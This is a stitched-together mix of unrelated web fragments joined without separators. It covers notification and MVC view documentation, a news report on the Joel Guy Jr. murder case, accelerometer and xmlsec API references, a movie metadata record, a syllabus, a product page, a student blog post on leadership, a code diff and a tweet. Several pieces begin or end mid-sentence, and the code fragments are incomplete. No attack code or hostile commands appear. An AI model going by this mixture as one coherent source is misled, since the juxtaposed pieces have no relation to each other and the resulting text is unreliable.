HTML-tags. When using HTML, don’t forget to escape data to prevent code injection in the web-client.
You can use \n
characters for line breaks in non-HTML messages.
description
- an optional description displayed under the caption. You can also use
\n
character or HTML-formatting.
type
- notification type. Possible values:
TRAY
, TRAY_HTML
- a notification is displayed in the bottom right corner of
the application and disappears automatically.
HUMANIZED
, HUMANIZED_HTML
- a standard notification displayed in the center
of the screen, disappears automatically.
WARNING
, WARNING_HTML
- a warning. Disappears when clicked.
ERROR
, ERROR_HTML
- a notification about an error. Disappears when clicked.


ASP MVC Views
Links
To build the views during build, edit the project file: <MvcBuildViews>false</MvcBuildViews>
Master Pages (Razor: Layout Pages)
These should live in \Views\Shared\
- For ASP Engine, use MasterPages:
<%@ Page Title="" Language="C#"
MasterPageFile="~/Views/Shared/Site.Master"
Inherits="System.Web.Mvc.ViewPage<MvcApplication1.Models.CategoryModel>" %> - For Razor Engine, they are called "Layout Pages"
- You have a default @RenderBody()
- Optional sections:
@if (IsSectionDefined("Footer"))
{
@RenderSection("Footer", required: false)
}
else ... - Define the layout in the view or Views/_ViewStart.cshtml
@{ Layout = "~/Views/Shared/_Layout.cshtml"; }
One _ViewStart per area.
ViewData/ViewBag and Models
ViewData (MVC1-2)
ViewData is a name/value dictionary available in the View
- Controller Action: ViewData["HelloWorld"] = "Hello World";
return View(); - View:
<%: ViewData["HelloWorld"] %>

Strongly typed views:
- Controller Action: return View(category);
- View: <%@ Page Inherits="System.Web.Mvc.ViewPage<MvcApplication1.Models.CategoryModel>"
- View:
<%: Model.Name %>

ViewBag (MVC3)
ViewBag is a strong-typed wrapper for ViewData (in MVC3+)
@model (MVC3)
In MVC 3 you can have a strong-typed model. Simple models may use the business/data entities directly (or an IEnumerable of them), but you'll probably want a ViewModel specific to the screen (it's also more secure).
@model MvcApplication1.Models.CategoryModel
TempData (MVC2)
The TempDataDictionary (TempData["x"] = "y") is just Session, so can be used with RedirectToAction.
If your controller action has parameters e.g. public ActionResult Edit(int id) then that id is used, not the model.Id!
To fix, do a
ModelState.Clear();
in your action.
Partial Views (User controls)
Common partial views should live in \Views\Shared\
- For ASP Engine, add a new View user control (*.ascx), accessed either with Html.Partial, or via the controller as Html.Action
- For Razor Engine, create a partial view (_*.cshtml - the underscore prefix makes it hidden)
@Html.Partial("_HelloWorld")
You can also use @Html.Action("_HelloWorld" which calls a controller action.
Delete-Cancel buttons
A typical CRUD form may have a row of buttons for Save-Cancel-Delete.
- You can have three submit buttons with an if/else in the Action, but that's not very neat.
- You can't wrap the cancel and delete buttons in nested forms (not allowed in HTML).
- Links, especially for delete, are problematic.
- The input/submit formaction="" attribute is perfect but IE 10+ only (and not Android at time of writing)
- The easiest solution is javascript (using input type=button) and you can hook up your HttpPost Delete action.
$("#Cancel").click(function() {
window.location = "@Url.Action("Index")";
});
$('#Delete').click(function() {
if(confirm("@WebApp.Resources.Crud.AreYouSure")) {
var form = document.forms[0];
form.action = "@Url.Action("Delete")";
form.submit();
}
});


LedAnimation
Devices
(current)
Live
Animation
Devices
Name
Delete
$@linked$
$name$
$@@$
$@devices$
$name$
$@@$
Add


Man accused of dismembering parents at Farragut home to appear in court
KNOXVILLE, Tenn. (WVLT) -- A man accused of dismembering his parents and putting their bodies in acid is scheduled to appear in Knox County Court on Friday, November 22.
In 2017, Joel Guy Jr., 31, was indicted on two counts of first degree murder, two counts of abuse of a corpse and one count of felony murder after a "horrific" crime in November 2016 at Guy's parent's home on Goldenview Lane.
According to court records, Guy was set to appear on Friday for a motion, with his trial scheduled for February 24, 2020.
The crime
Sometime between November 25 and November 26 in 2016, two victims, identified 61-year-old Joel and 55-year-old Lisa Guy, were found dismembered. Their remains were discovered in containers of acidic chemicals at 11434 Goldenview Lane. The containers were found in different parts of the home.
Knox County investigators said someone reported that Lisa never showed up for work, which prompted the search.
Investigators said there were signs of a struggle in the home and that the victims were possibly tortured. Officials described the crime scene as "horrific."
"It would be described as horrific, a very gruesome crime scene," said Major Michael MacLean, of the Knox County Sheriff's Office.
Officials said Joel and Lisa Guy were viciously stabbed, and their bodies were dismembered and placed in an acid-based solution to destroy evidence. Law enforcement said neighbors did not hear anything.
Arrest of Joel Guy Jr.
Joel and Lisa Guy's son, Joel Guy Jr., lived in Baton Rouge, Louisiana at the time of the murders. Police described him as an Louisiana State University dropout.
At the time, a neighbor to the victims told WVLT News she was shocked by what happened. "I'm shocked," said Karen Holton. "I had never really spoken to him; he was very quiet and kept to himself." Officials said he had no prior criminal history.
Investigators said Guy was facing financial difficulties and believed his parents were going to cut him off. Before the crime took place, officials said Guy was captured on video purchasing cleaning products at a Knoxville Walmart.
On November 29, 2016, officials with the Federal Bureau of Investigation and members of a SWAT team swarmed Guy's apartment and arrested him.
In January 2017, he was extradited from Louisiana and transported to the Roger D. Wilson Center where he was held on a $2 million dollar bond.


The top-level Accelerometer module, used to determine the device's physical position.
An accelerometer is a hardware unit integrated into a mobile device, that detects when the
device has moved, and returns its new orientation in a three-dimensional space. With its
single update
event, this module provides an interface to access the output positional data.
An accelerometer needs to be switched on in order for it to report to the operating system, which consumes a lot of power that will deplete the battery over time. This is why it is recommended that the accelerometer is switched off when not in use.
The accelerometer may be switched on and off by simply adding and removing the update
event listener function. See the example for a demonstration.
| update | Fired when the accelerometer changes. |
Adds the specified callback as an event listener for the named event.
Arguments
| name | [String] | Name of the event. |
| callback | [Callback<Object>] | Callback function to invoke when the event is fired. |
Applies the properties to the proxy.
Arguments
| props | [Dictionary] | A dictionary of properties to apply. |
Fires a synthesized event to any registered listeners.
Arguments
| name | [String] | Name of the event. |
| event | [Dictionary] | A dictionary of keys and values to add to the Titanium.Event object sent to the listeners. |
Removes the specified callback as an event listener for the named event.
Arguments
| name | [String] | Name of the event. |
| callback | [Callback<Object>] | Callback function to remove. Must be the same function passed to addEventListener. |
Event properties
| source |
[Object] Source object that fired the event. |
| timestamp |
Reference timestamp since the previous change. This is not a valid timestamp and should simply be used to determine the number of milliseconds between events. |
| type |
[String] Name of the event fired. |
| x |
Current |
| y |
Current |
| z |
Current |


He lost 100,000 DM in a subway train that belongs to a very bad guy. Lola has 20 min to raise this amount and meet Manni. Otherwise, he will rob a store to get the money. Three different alternatives may happen depending on some minor event along Lola’s run.”, “Plot”: “After a botched money delivery, Lola has 20 minutes to come up with 100,000 Deutschmarks.”, “Language”: “German, English, Japanese”, “Country”: “Germany”, “Awards”: “Nominated for 1 BAFTA Film Award. Another 28 wins & 19 nominations.“, “Poster”<EMAIL_ADDRESS>“Metascore”: “77”, “imdbRating”: “7.8”, “imdbVotes”: “160,248”, “imdbID”: “tt0130827”, “Type”: “movie”, “tomatoMeter”: “93”, “tomatoImage”: “certified”, “tomatoRating”: “7.7”, “tomatoReviews”: “80”, “tomatoFresh”: “74”, “tomatoRotten”: “6”, “tomatoConsensus”: “More fun than a barrel of Jean-Paul Sartre, pic’s energy riffs on an engaging love story and really human performances while offering a series of what-ifs and a blood-stirring soundtrack.”, “tomatoUserMeter”: “90”, “tomatoUserRating”: “3.8”, “tomatoUserReviews”: “143504”, “tomatoURL”: “http://www.rottentomatoes.com/m/run_lola_run/", “DVD”: “21 Dec 1999”, “BoxOffice”: “N/A”, “Production”: “Sony Pictures Classics”, “Website”: “N/A”, “Response”: “True” }


Browse by Category
Arts/Music/Film
Campus Tours
Career Development
Deadlines
Global/International
Lectures/Conferences
MIT Events/Clubs
Sports


Frequent uses of modal windows include:
- Drawing attention to vital pieces of information. This use has been criticised as ineffective because users are bombarded with too many dialog boxes, and habituate to simply clicking "Close", "Cancel", or "OK" without reading or understanding the message.
- Blocking the application flow until information required to continue is entered, as for example a password in a login process. Another example are file dialogs to open and save files in an application.
*Source: Wikipedia


B.Tech. II (CO) Semester - 3 |
L |
T |
P |
C |
CO205 : PROGRAMMING APPLICATION IN CIVIL ENGINEERING (IS) |
3 |
0 |
2 |
4 |
(06 Hours) |
||||
Programming Introduction to Programming methodology, Introduction to Data Structure, Primitive and Non-primitive data structure. |
||||
(06 Hours) |
||||
Definition and analysis of Array, Stack , Queue, String, Link List and application. |
||||
(04 Hours) |
||||
Definition and analysis of Trees, Graph. |
||||
(08 Hours) |
||||
Study and implementation of Different file organization & access techniques. |
||||
(04 Hours) |
||||
Introduction to Class and Object, Basic Characteristic of Object Oriented Programming. |
||||
(14 Hours) |
||||
Sorting and Searching Methods, Dictionaries, Sparse matrix and its representation, Matrix Structural Analysis, Numerical Methods, Graphics and applications, Stress Calculation application, Strom water Management, Strom drain water Management, Surveying, Road Transportation. |
||||
(Total Contact Time: 42 Hours) |
||||
PRACTICALS |
||||
1). Implementation of Array, Stack, Queue. |
||||
BOOKS RECOMMENDED |
||||
1). Trembley&Sorenson : An Introduction to Data Structures with Applications, TMH,2/E,1993, Reprint 1995 |


Show color map
Show specular map
Use lighting
Point light:
Location:
X:
Y:
Z:
Specular colour:
R:
G:
B:
Diffuse colour:
R:
G:
B:
Ambient light:
Colour:
R:
G:
B:
Galvanized texture courtesy of
Arroway Textures
.
Earth texture courtesy of
the European Space Agency/Envisat
.
<< Back to Lesson 15


--- title: Product date: 2017-09-29 10:00:00 +02:00 layout: home ---
IKATS (Innovative Tool-Kit for Analysing Time Series) is the result of a R&D Data Science Project and has been carried out in collaboration with the LIG (Laboratoire Informatique de Grenoble) team.
IKATS provides an easy-to-use toolkit for the handling, exploratory analysis and visualisation of large volumes of Time Series (TS) data within a single Big Data framework.
For a general overview, please, take a look at the IKATS booklet.
If you are interested in investigating and interacting with IKATS later on but without getting involved in a long installation process, let's start playing with the sandbox :Data Scientists, Data Engineers use IKATS to explore and generate predictive models making it possible to supervise manufacturing industry production lines or to help operate hi-tech industrial systems which rely on networks of sensors.
Whatever industry you work on, whether it be aeronautics, energy, rail or manufacturing for example, analysing, exploring and elaborating predictive models from Time Series is a burden in the field of Data Science.
With the introduction of IKATS, you can now "keep your eye" on your data.
IKATS is freely available both in source and binary formats, together with all related documentation and tests.
IKATS is distributed under the Apache License version 2.0, a well known business-friendly license. This means anybody can use it to build any application, free or not. There are no strings attached to the user code.
IKATS has been in development since 2015 within CS Systèmes d'Information and is still used and maintained by its big data experts.


Leadership is hard
03 Dec 2015This semester I had to partake in 2 group projects. Both of which I ended up taking leadership roles in, AKA Project Management. Up until now, other than writing I haven’t really collaborated much on any other type of project. For this 2 projects, one of them involved mostly writing and the second was software collaboration. I can’t say that it has been easy nor I’ve done a great job at it, all I can say is that is tough and much improvement is needed.
It’s tough because being a leader means that you have to lead by example. What do I mean? If the leader (me) works hard, the rest of the group will follow right? This doesn’t necessarily work all the time as some people tend to take advantage and decide to not contribute at all, knowing that you’ll be there to pick up the slack. But I might’ve missed something here, besides showing yourself as capable. That isn’t enough, you have to delegate tasks. These are the kind of people that won’t do work unless you nudge them too. Yeah, it’s extremely annoying. But to save yourself some grief and avoid overworking yourself, you have to be assertive and demand work from others as it is their responsibility just as much as it is yours.
Other things that I’ve noticed are that as a leader, you need to provide a sense of direction. This is very important if you have very passive team members whom will solely rely on you to provide them with work to do. If it was up to me, I’d take initiative and start improvising things on my own. Sadly, not everyone shares the same mindset. You’re stunt when somebody asks, “what do I do?”. And even after you feel that you have a grasp on direction, an open mind is necessary because feedback is extremely important as the project develops. Your teammates might notice something amiss, and you have to take that into account and not ignore them, like I’ve done.
It has been a tough experience, and one that isn’t totally over. As bad as it sounds, I still believe that I’m capable of leadership and it is just something that I need to keep working on. I gotta take in everything calmly and not just rage when everything goes wrong and out of place.


Apollo
We're on a mission to create a world where all college students have access to mental healthcare through technology.


Toggle navigation
Final Portfolio Bootstrap and D3
Home
Filled Area Chart
Multi-series Line Chart (Ex 7) with Legend
Vertical Bar Chart
Horizontal Bar Chart
Stack Bar Chart
Donut Chart
Pie Chart
User-Filterable Multi-Line Chart
Resizing versions of Ex 5 and Ex 8, Part 2
Bootstrap Dashboard
Final Project Bootstrap and D3
Portfolio
Ex9.2


Before Change
// Short circuit plan execution since we don"t have all the inputs it needs.
product = inputs
else:
binding = plan.bind(inputs)
product = self.safe_execute(binding.execute, promise, plan, fail_slow=fail_slow)
// Index the product across all promises we made for it.
for subject in plan.subjects:
After Change
An engine that runs tasks locally and serially in-process.
def reduce(self, build_request, fail_slow=False):
for step_batch in self._scheduler.schedule(build_request):
for step, promise in step_batch:
promise.success(step())
class SerializationError(Exception):
Indicates an error serializing input or outputs of an execution node.
The `LocalMultiprocessEngine` uses this exception to communicate incompatible planner code when


| Trees | Index | Help |
|
|---|
| Module xmlsec :: Class Buffer |
|
| Method Summary | |
|---|---|
Creates and initalizes new memory buffer with given size. | |
__getattr__(self,
name)
| |
__setattr__(self,
name,
value)
| |
Appends the data after the current data stored in the buffer. | |
Reads the content of the node, base64 decodes it and stores the result in the buffer. | |
Sets the content of the node to the base64 encoded buffer data. | |
Creates new LibXML output buffer to store data in the buf. | |
Destroys buffer object. | |
Empties the buffer. | |
Frees allocated resource for a buffer intialized with initialize method. | |
Gets buffer's data. | |
Gets the maximum (allocated) buffer size. | |
Gets the current buffer data size. | |
Initializes buffer object buf. | |
Prepends the data before the current data stored in the buffer. | |
Reads the content of the file filename in the buffer. | |
Removes size bytes from the beginning of the current buffer. | |
Removes size bytes from the end of current buffer. | |
Sets the value of the buffer to data. | |
Sets new buffer maximum size. | |
Sets new buffer data size. |
| Method Details |
|---|
__init__(self,
size=None,
_obj=None)
|
append(self, data, size)Appends the data after the current data stored in the buffer. data : the data. size : the data size. Returns : 0 on success or a negative value if an error occurs. |
base64NodeContentRead(self, node)Reads the content of the node, base64 decodes it and stores the result in the buffer. node : the node. Returns : 0 on success or a negative value if an error occurs. |
base64NodeContentWrite(self, node, columns)Sets the content of the node to the base64 encoded buffer data. node : the node. columns : the max line size for base64 encoded data. Returns : 0 on success or a negative value if an error occurs. |
createOutputBuffer(self)Creates new LibXML output buffer to store data in the buf. Caller is responsible for destroying buf when processing is done. Returns : newly allocated output buffer or None if an error occurs. |
destroy(self)Destroys buffer object. |
empty(self)Empties the buffer. |
finalize(self)Frees allocated resource for a buffer intialized with initialize method. |
getData(self)Gets buffer's data. Returns : buffer's data. |
getMaxSize(self)Gets the maximum (allocated) buffer size. Returns : the maximum (allocated) buffer size. |
getSize(self)Gets the current buffer data size. Returns : the current data size. |
initialize(self, size)Initializes buffer object buf. Caller is responsible for calling finalize method to free allocated resources. size : the initial buffer size. Returns : 0 on success or a negative value if an error occurs. |
prepend(self, data, size)Prepends the data before the current data stored in the buffer. data : the data. size : the data size. Returns : 0 on success or a negative value if an error occurs. |
readFile(self, filename)Reads the content of the file filename in the buffer. filename : the filename. Returns : 0 on success or a negative value if an error occurs. |
removeHead(self, size)Removes size bytes from the beginning of the current buffer. size : the number of bytes to be removed. Returns : 0 on success or a negative value if an error occurs. |
removeTail(self, size)Removes size bytes from the end of current buffer. size : the number of bytes to be removed. Returns : 0 on success or a negative value if an error occurs. |
setData(self, data, size)Sets the value of the buffer to data. data : the data. size : the data size. Returns : 0 on success or a negative value if an error occurs. |
setMaxSize(self, size)Sets new buffer maximum size. If necessary, buffer grows to have at least size bytes. size : the new maximum size. Returns : 0 on success or a negative value if an error occurs. |
setSize(self, size)Sets new buffer data size. If necessary, buffer grows to have at least size bytes. size : the new data size. Returns : 0 on success or a negative value if an error occurs. |
| Trees | Index | Help |
|
|---|
| Generated by Epydoc 2.1 on Sun Jan 1 18:42:41 2006 | http://epydoc.sf.net |


Derek Eder
@derekeder
There's an awesome community around my Searchable Map Template so I decided to make a Google Group for it. Map away! https://groups.google.com/forum/#!forum/fusion-table-map-template
10/21/2014, 11:26:55 AM
Favs: 0
Retweets: 2
link